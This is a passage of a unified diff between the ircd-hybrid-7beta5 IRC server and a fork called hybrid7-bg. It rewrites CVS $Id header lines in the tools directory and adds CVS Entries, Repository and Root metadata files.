@@ -1,6 +1,6 @@
 /*
 fixklines - scan an ircd.conf or kline.conf file
-$Id: fixklines.c,v 7.2 1999/10/14 00:35:26 db Exp $
+$Id: fixklines.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
   D lines of form
   D:192.168.0.* are converted to D:192.168.0.0/24
   K-lines of form
diff -uNrd ircd-hybrid-7beta5/tools/ircd_start.c hybrid7-bg/tools/ircd_start.c
--- ircd-hybrid-7beta5/tools/ircd_start.c	Fri Oct  6 00:27:08 2000
+++ hybrid7-bg/tools/ircd_start.c	Tue Jun  5 12:35:47 2001
@@ -1,7 +1,7 @@
 /*
  * contributed by mjr
- * $Id: ircd_start.c,v 7.2 2000/10/06 04:27:08 lusky Exp $
- * $Id: ircd_start.c,v 7.2 2000/10/06 04:27:08 lusky Exp $
+ * $Id: ircd_start.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
+ * $Id: ircd_start.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/tools/klineParse.c hybrid7-bg/tools/klineParse.c
--- ircd-hybrid-7beta5/tools/klineParse.c	Fri Oct  6 00:27:08 2000
+++ hybrid7-bg/tools/klineParse.c	Tue Jun  5 12:35:47 2001
@@ -1,11 +1,11 @@
-/* $Id: klineParse.c,v 7.2 2000/10/06 04:27:08 lusky Exp $
+/* $Id: klineParse.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  * 1.0  17Dec98 Darkshde -- Initial bug ridden release
  * 2.0  07Jan99 Darkshde -- added redundant kline checking
  * 2.1  11Jan99 Darkshde -- added -f made verbose display optional with -v
  *
  * This program will take a kline.conf and remove duplicate and redundant 
  * entries from it, creating a kline.conf.parsed file
- * $Id: klineParse.c,v 7.2 2000/10/06 04:27:08 lusky Exp $
+ * $Id: klineParse.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 
 #define kParseVer "2.12"
diff -uNrd ircd-hybrid-7beta5/tools/mkconf hybrid7-bg/tools/mkconf
--- ircd-hybrid-7beta5/tools/mkconf	Sun Aug  1 17:19:57 1999
+++ hybrid7-bg/tools/mkconf	Tue Jun  5 12:35:47 2001
@@ -1,6 +1,6 @@
 #!/bin/sh
 #
-# $Id: mkconf,v 7.0.0.1 1999/08/01 21:19:57 lusky Exp $
+# $Id: mkconf,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
 # Copyright (C) 1999 Patrick Alken
 #
 # Usage: ./mkconf [options]
diff -uNrd ircd-hybrid-7beta5/tools/mkpasswd.c hybrid7-bg/tools/mkpasswd.c
--- ircd-hybrid-7beta5/tools/mkpasswd.c	Tue Jan 16 11:56:03 2001
+++ hybrid7-bg/tools/mkpasswd.c	Tue Jun  5 12:35:47 2001
@@ -5,7 +5,7 @@
  * md5 patch by Walter Campbell <wcampbel@botbay.net>
  * Modernization, getopt, etc for the Hybrid IRCD team
  *
- * $Id: mkpasswd.c,v 7.4 2001/01/16 16:56:03 wcampbel Exp $
+ * $Id: mkpasswd.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 #include <stdio.h>
 #include <string.h>
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/CVS/Entries hybrid7-bg/tools/rsa_respond/CVS/Entries
--- ircd-hybrid-7beta5/tools/rsa_respond/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/tools/rsa_respond/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1,5 @@
+/Makefile/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/genkey.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/respond.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+D
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/CVS/Repository hybrid7-bg/tools/rsa_respond/CVS/Repository
--- ircd-hybrid-7beta5/tools/rsa_respond/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/tools/rsa_respond/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/tools/rsa_respond
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/CVS/Root hybrid7-bg/tools/rsa_respond/CVS/Root
--- ircd-hybrid-7beta5/tools/rsa_respond/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/tools/rsa_respond/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/Makefile hybrid7-bg/tools/rsa_respond/Makefile
--- ircd-hybrid-7beta5/tools/rsa_respond/Makefile	Sun Feb 18 00:44:49 2001
+++ hybrid7-bg/tools/rsa_respond/Makefile	Tue Jun  5 12:35:47 2001
@@ -1,4 +1,4 @@
-# $Id: Makefile,v 1.5 2001/02/18 05:44:49 wcampbel Exp $
+# $Id: Makefile,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
 
 all: genkey respond
 genkey: genkey.c
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/README hybrid7-bg/tools/rsa_respond/README
--- ircd-hybrid-7beta5/tools/rsa_respond/README	Sun Feb 18 00:44:49 2001
+++ hybrid7-bg/tools/rsa_respond/README	Tue Jun  5 12:35:47 2001
@@ -39,4 +39,4 @@
 genkey and respond compile properly, and have been tested on FreeBSD 4.x,
 Linux glibc, and Cygwin 1.2 or higher.
 
-# $Id: README,v 1.5 2001/02/18 05:44:49 wcampbel Exp $
+# $Id: README,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/genkey.c hybrid7-bg/tools/rsa_respond/genkey.c
--- ircd-hybrid-7beta5/tools/rsa_respond/genkey.c	Fri Feb  2 23:05:37 2001
+++ hybrid7-bg/tools/rsa_respond/genkey.c	Tue Jun  5 12:35:47 2001
@@ -17,7 +17,7 @@
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
  *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *  $Id: genkey.c,v 1.6 2001/02/03 04:05:37 a1kmm Exp $
+ *  $Id: genkey.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 
 #include <openssl/rsa.h>
diff -uNrd ircd-hybrid-7beta5/tools/rsa_respond/respond.c hybrid7-bg/tools/rsa_respond/respond.c
--- ircd-hybrid-7beta5/tools/rsa_respond/respond.c	Fri Feb  2 23:05:37 2001
+++ hybrid7-bg/tools/rsa_respond/respond.c	Tue Jun  5 12:35:47 2001
@@ -17,7 +17,7 @@
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
  *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *  $Id: respond.c,v 1.5 2001/02/03 04:05:37 a1kmm Exp $
+ *  $Id: respond.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 #include <openssl/rsa.h>
 #include <openssl/md5.h>
diff -uNrd ircd-hybrid-7beta5/tools/start_ircd.c hybrid7-bg/tools/start_ircd.c
--- ircd-hybrid-7beta5/tools/start_ircd.c	Sun Aug  1 17:19:57 1999
+++ hybrid7-bg/tools/start_ircd.c	Tue Jun  5 12:35:47 2001
@@ -17,7 +17,7 @@
 Diane Bruce, db May 11 1998
 */
 
-static char *version="$Id: start_ircd.c,v 7.0.0.1 1999/08/01 21:19:57 lusky Exp $";
+static char *version="$Id: start_ircd.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $";
 
 #define IRCDDIR "/usr/local/lib/ircd"
 
diff -uNrd ircd-hybrid-7beta5/tools/untabify hybrid7-bg/tools/untabify
--- ircd-hybrid-7beta5/tools/untabify	Sun Aug  1 17:19:57 1999
+++ hybrid7-bg/tools/untabify	Tue Jun  5 12:35:47 2001
@@ -2,7 +2,7 @@
 #
 # untabify - convert tabs to spaces
 #
-# $Id: untabify,v 7.0.0.1 1999/08/01 21:19:57 lusky Exp $
+# $Id: untabify,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
 use Text::Tabs;
 $tabstop = 8;
 while (<>) { print expand($_) }
diff -uNrd ircd-hybrid-7beta5/tools/viconf.c hybrid7-bg/tools/viconf.c
--- ircd-hybrid-7beta5/tools/viconf.c	Sat Dec 30 18:26:04 2000
+++ hybrid7-bg/tools/viconf.c	Tue Jun  5 12:35:47 2001
@@ -1,7 +1,7 @@
 /*
  * viconf.c
  *
- * $Id: viconf.c,v 7.2 2000/12/30 23:26:04 lusky Exp $
+ * $Id: viconf.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 #include <stdio.h>
 #include <unistd.h>
diff -uNrd ircd-hybrid-7beta5/zlib/CVS/Entries hybrid7-bg/zlib/CVS/Entries
--- ircd-hybrid-7beta5/zlib/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/zlib/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+D
diff -uNrd ircd-hybrid-7beta5/zlib/CVS/Repository hybrid7-bg/zlib/CVS/Repository
--- ircd-hybrid-7beta5/zlib/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/zlib/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/zlib
diff -uNrd ircd-hybrid-7beta5/zlib/CVS/Root hybrid7-bg/zlib/CVS/Root
--- ircd-hybrid-7beta5/zlib/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/zlib/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
